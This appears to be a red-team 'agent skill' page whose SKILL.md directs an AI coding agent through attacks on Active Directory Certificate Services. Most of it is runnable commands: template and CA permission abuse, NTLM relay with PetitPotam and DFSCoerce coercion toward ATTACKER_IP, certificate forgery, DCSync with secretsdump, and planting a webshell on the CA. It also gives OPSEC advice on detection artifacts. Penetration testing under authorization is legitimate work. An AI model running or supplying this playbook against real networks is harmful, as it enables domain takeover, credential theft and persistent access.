Agent skill
adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Install this agent skill to your Project
npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/ad/adcs-access-and-relay
SKILL.md
ADCS Access Control & Relay Attacks (ESC4 / ESC5 / ESC7 / ESC8 / ESC11)
You are helping a penetration tester exploit ADCS through template/CA access control abuse and NTLM relay to enrollment endpoints. All testing is under explicit written authorization.
Kerberos-first authentication: ESC4, ESC5, and ESC7 use Kerberos auth for all operations. ESC8 and ESC11 are inherently NTLM-based (relay attacks) — the Kerberos-first convention does not apply. These techniques explicitly accept NTLM detection artifacts (Event 4776, relay signatures) as a necessary cost.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[adcs-access-and-relay] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Domain user credentials (for ESC4/5/7) or ability to coerce NTLM auth (ESC8/11)
- Network access to CA server
- Tools:
certipy,Certify.exe,ntlmrelayx.py(Impacket),modifyCertTemplate.py, coercion tools (PetitPotam, SpoolSample, DFSCoerce)
Kerberos-first workflow (ESC4/5/7 only):
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All Certipy/Impacket commands use -k -no-pass
Tool output directory: getTGT.py, certipy req, and certipy auth write
output files to CWD with no output-path flag. Always prefix with
cd $TMPDIR &&. Use mv (not cp) when saving evidence.
Privileged Commands
Claude Code cannot execute sudo commands. The relay infrastructure tools
require root and must be handed off to the user:
- ntlmrelayx.py — NTLM relay listener (ESC8/ESC11, binds SMB/HTTP ports)
- krbrelayx.py — Kerberos relay listener (ESC8/ESC11 variant)
- mitm6 — IPv6 DNS takeover for coercion (used with relay)
Handoff protocol: Present the full command including sudo to the user.
For relay chains (relay listener + coercion trigger), batch the privileged
commands so the user can start them before Claude triggers coercion.
Non-privileged commands Claude can execute directly:
- ACL abuse (ESC4/5/7):
certipy,Certify.exe,modifyCertTemplate.py - Coercion triggers:
PetitPotam.py,printerbug.py,DFSCoerce.py - Certificate auth:
certipy auth,Rubeus.exe asktgt - Post-exploitation:
secretsdump.py -k -no-pass
Step 1: Identify Attack Path
From BloodHound / enumeration results
| Finding | ESC | Attack Path |
|---|---|---|
| WriteProperty/WriteDACL on certificate template | ESC4 | Modify template → ESC1 |
| Write access to PKI containers/CA object | ESC5 | Create/publish vulnerable template |
| ManageCA permission on CA | ESC7 | Enable SAN / approve requests / SubCA abuse |
| ManageCertificates permission on CA | ESC7 | Approve pending requests / set extensions |
| HTTP enrollment endpoint (CES/CEP/NDES) | ESC8 | NTLM relay to web enrollment |
| ICPR RPC without encryption enforcement | ESC11 | NTLM relay to RPC enrollment |
Enumerate CA permissions
# Certipy — always use -output to avoid writing to CWD
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs
# Certify — PKI object ACLs
Certify.exe pkiobjects /domain:DOMAIN /showAdmins
Certify.exe find /showAllPermissions
Check for web enrollment endpoints
# Certify — list CAs with enrollment URLs
Certify.exe cas
# certutil — enrollment server URLs
certutil.exe -enrollmentServerURL -config DC.DOMAIN.LOCAL\DOMAIN-CA
Check ICPR encryption enforcement (ESC11)
# Certipy find output shows: "Enforce Encryption for Requests: Disabled"
certipy find -k -no-pass -dc-ip DC_IP -stdout | grep -i "enforce encryption"
# On CA server directly
certutil -getreg CA\InterfaceFlags
# Vulnerable if IF_ENFORCEENCRYPTICERTREQUEST is NOT set
Decision tree
What access do you have?
├── Write on template object → ESC4 (Step 2)
├── Write on PKI container / CA AD object → ESC5 (Step 3)
├── ManageCA on CA → ESC7 Attack 1 or 2 (Step 4)
├── ManageCertificates on CA → ESC7 Attack 3 (Step 4)
├── Can coerce NTLM auth + HTTP enrollment available → ESC8 (Step 5)
├── Can coerce NTLM auth + ICPR unencrypted → ESC11 (Step 6)
└── No direct access → Escalate or **acl-abuse**
Step 2: ESC4 — Template ACL Abuse
Conditions: WriteProperty, WriteDACL, or WriteOwner on a certificate template. The attacker modifies the template to introduce ESC1 conditions, requests a certificate with arbitrary SAN, then restores the original configuration.
Modify template to enable SAN
# Certipy — save original config, modify template
certipy template 'DOMAIN/user@CA.DOMAIN.LOCAL' -k -no-pass \
-template 'VulnTemplate' -save-old
# modifyCertTemplate.py — add ENROLLEE_SUPPLIES_SUBJECT flag
python3 modifyCertTemplate.py DOMAIN/user -k -no-pass \
-template VulnTemplate -dc-ip DC_IP \
-add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# StandIn.exe (Windows)
StandIn.exe --adcs --filter VulnTemplate --ess --add
Request certificate (now exploitable as ESC1)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'VulnTemplate' -upn 'administrator@domain.local'
Restore original template configuration
# Certipy — restore from saved config
certipy template 'DOMAIN/user@CA.DOMAIN.LOCAL' -k -no-pass \
-template 'VulnTemplate' -configuration VulnTemplate.json
# modifyCertTemplate.py — remove flag
python3 modifyCertTemplate.py DOMAIN/user -k -no-pass \
-template VulnTemplate -dc-ip DC_IP \
-add enrollee_supplies_subject -property mspki-Certificate-Name-Flag -remove
Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
OPSEC: Template modification creates AD replication events. Minimize the
window between modify → request → restore. Use -save-old to ensure clean
restoration.
Step 3: ESC5 — PKI Object ACL Abuse
Conditions: Write access to pKIEnrollmentService object, Certificate
Templates container, or any descendant in
CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=COM.
Method 1: Create and publish a vulnerable template
Requires write to the Certificate Templates container + ability to add template to CA enrollment list.
# Duplicate an existing template (e.g., User) via LDAP
# Add ENROLLEE_SUPPLIES_SUBJECT flag + client-auth EKU
# Add your user/group to enrollment rights
# Publish to CA via certificateTemplate attribute of pKIEnrollmentService
# Then exploit as ESC1:
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template 'MaliciousTemplate' -upn 'administrator@domain.local'
Method 2: Golden Certificate via CA key compromise
If you have write access to the CA server AD object and can achieve code execution on the CA:
# Extract CA certificate + private key
certipy ca -k -no-pass -target CA.DOMAIN.LOCAL -ca 'DOMAIN-CA' -backup
# Forge certificate for any user
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
-sid 'S-1-5-21-...-500'
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP
Escalate for full golden certificate technique.
Step 4: ESC7 — CA Permission Abuse
Conditions: ManageCA or ManageCertificates permission on the CA.
Attack 1: ManageCA → Officer + SAN + SubCA
Use ManageCA to add yourself as CA officer (ManageCertificates), then enable the SubCA template and issue certificates:
# Add yourself as CA officer
certipy ca -k -no-pass -ca 'DOMAIN-CA' -add-officer user -dc-ip DC_IP
# Enable SubCA template on CA
certipy ca -k -no-pass -ca 'DOMAIN-CA' -enable-template 'SubCA' -dc-ip DC_IP
# Request SubCA certificate with SAN (will be denied initially)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
-template SubCA -upn administrator@domain.local
# Note: request will fail but key is saved. Note the request ID.
# Issue the denied request (using ManageCertificates permission)
certipy ca -k -no-pass -ca 'DOMAIN-CA' -issue-request REQUEST_ID -dc-ip DC_IP
# Retrieve the issued certificate
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -retrieve REQUEST_ID
Attack 2: ManageCA → Enable ESC6 flag
# Enable EDITF_ATTRIBUTESUBJECTALTNAME2 (creates ESC6 condition)
Certify.exe setconfig /enablesan /restart
# Or via certutil on CA server
certutil -config "CA_HOST\CA_NAME" \
-setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
# Then exploit via ESC6 — route to **adcs-template-abuse**
Attack 3: ManageCertificates → Extension injection
# Submit a certificate request (may require approval)
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:SecureUser
# Set custom extension on the pending request
Certify.exe manage-ca /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /request-id REQUEST_ID \
/set-extension "1.1.1.1=DER,10,01 01 00 00"
# Approve and download
Certify.exe manage-ca /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /issue /request-id REQUEST_ID
Certify.exe request-download /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /id REQUEST_ID
Attack 4: ManageCA → RCE via CRL/file write
# Find writable shares via CDP
Certify.exe writefile /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /readonly
# Write webshell to CA web directory
Certify.exe writefile /ca:CA.DOMAIN.LOCAL\DOMAIN-CA \
/path:C:\Windows\SystemData\CES\CA-Name\shell.aspx \
/input:C:\path\to\shell.aspx
Cleanup
# Remove officer permission
certipy ca -k -no-pass -ca 'DOMAIN-CA' -remove-officer user -dc-ip DC_IP
# Disable SubCA template
certipy ca -k -no-pass -ca 'DOMAIN-CA' -disable-template 'SubCA' -dc-ip DC_IP
# Remove ESC6 flag if enabled
certutil -config "CA_HOST\CA_NAME" \
-setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
Step 5: ESC8 — NTLM Relay to HTTP Enrollment
Conditions: CA has HTTP enrollment endpoint (CES/CEP/NDES), endpoint lacks EPA (Extended Protection for Authentication), coercion vector available.
OPSEC exception: This is inherently an NTLM relay attack. Kerberos-first does not apply. Expect NTLM auth events (4776), relay artifacts, and coercion events (SpoolService/PetitPotam).
Set up relay
# Impacket ntlmrelayx — relay to web enrollment
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Certipy built-in relay
certipy relay -ca CA_IP -template DomainController
Coerce authentication from DC or privileged account
# PetitPotam (MS-EFSR) — unauthenticated if unpatched
python3 PetitPotam.py -d '' -u '' -p '' ATTACKER_IP DC_IP
# PetitPotam — authenticated
python3 PetitPotam.py -d DOMAIN -u user -p 'Pass' ATTACKER_IP DC_IP
# SpoolSample / Dementor (MS-RPRN — Print Spooler)
python3 dementor.py ATTACKER_IP DC_IP -u user -p 'Pass' -d DOMAIN
SpoolSample.exe DC_IP ATTACKER_IP
# DFSCoerce (MS-DFSNM)
python3 dfscoerce.py -u user -p 'Pass' -d DOMAIN ATTACKER_IP DC_IP
Use obtained certificate
# ntlmrelayx outputs base64 certificate — save to file
echo "BASE64_CERT" | base64 -d > dc.pfx
# Authenticate via PKINIT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# Or with Rubeus
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
# DCSync with obtained DC machine account
export KRB5CCNAME=dc.ccache
secretsdump.py -k -no-pass DC.DOMAIN.LOCAL
Kerberos relay variant (lower OPSEC)
# krbrelayx — relay Kerberos instead of NTLM (avoids NTLM events)
sudo krbrelayx.py --target http://CA/certsrv \
-ip ATTACKER_IP --victim DC.DOMAIN.LOCAL --adcs --template Machine
# DNS poisoning via mitm6 for coercion
sudo mitm6 --domain DOMAIN --host-allowlist DC.DOMAIN.LOCAL \
--relay CA.DOMAIN.LOCAL -v
Step 6: ESC11 — NTLM Relay to ICPR (RPC)
Conditions: CA has ICPR RPC endpoint without encryption enforcement
(IF_ENFORCEENCRYPTICERTREQUEST not set), coercion vector available.
OPSEC exception: Same as ESC8 — inherently NTLM relay.
Set up relay
# Certipy relay — target RPC
certipy relay -target rpc://CA_IP -ca 'DOMAIN-CA' -template DomainController
# Impacket ntlmrelayx — RPC mode
ntlmrelayx.py -t rpc://CA_IP -rpc-mode ICPR -icpr-ca-name DOMAIN-CA -smb2support
Coerce authentication
Same coercion vectors as ESC8 (PetitPotam, SpoolSample, DFSCoerce).
Use obtained certificate
certipy auth -pfx dc.pfx -dc-ip DC_IP
ESC8 vs ESC11 comparison
| Aspect | ESC8 (HTTP) | ESC11 (RPC) |
|---|---|---|
| Protocol | HTTP/HTTPS | RPC (port 135) |
| Relay target | http://CA/certsrv/certfnsh.asp |
rpc://CA |
| Mitigation | EPA on IIS, channel binding | IF_ENFORCEENCRYPTICERTREQUEST flag |
| Template | Machine, DomainController | Machine, DomainController |
| Certipy flag | -ca CA_IP |
-target rpc://CA_IP |
Step 7: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
Troubleshooting
Template modification not taking effect (ESC4)
AD replication delay. Wait 5-15 minutes or force replication:
repadmin /syncall /AdeP DC.DOMAIN.LOCAL. Alternatively, target the CA's DC
directly with -dc-ip.
Relay fails — "authentication failed" (ESC8/11)
EPA or channel binding enabled. Check with certipy find output for endpoint
protection status. Try ICPR (ESC11) if HTTP (ESC8) is protected, or vice versa.
"Request denied" after ManageCA officer add (ESC7)
CA may require restart for new officer permissions to take effect. Use
net stop certsvc && net start certsvc if you have CA server access.
Coerced auth not reaching relay
Firewall blocking SMB from DC to attacker. Verify port 445 reachability. Try alternative coercion (WebDAV for HTTP coercion, or use a host the DC can reach).
KRB_AP_ERR_SKEW (Clock Skew)
Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:
sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP
OPSEC comparison
| ESC | OPSEC | Detection Surface |
|---|---|---|
| ESC4 | Medium | Template modification creates AD object change events (5136) |
| ESC5 | High | PKI container modification, potential CA key extraction |
| ESC7 | Medium | CA permission changes, certificate issuance approval events |
| ESC8 | High | NTLM relay events (4776), coercion events, anomalous enrollment |
| ESC11 | High | Same as ESC8 but via RPC instead of HTTP |
Recommended Agent Skills
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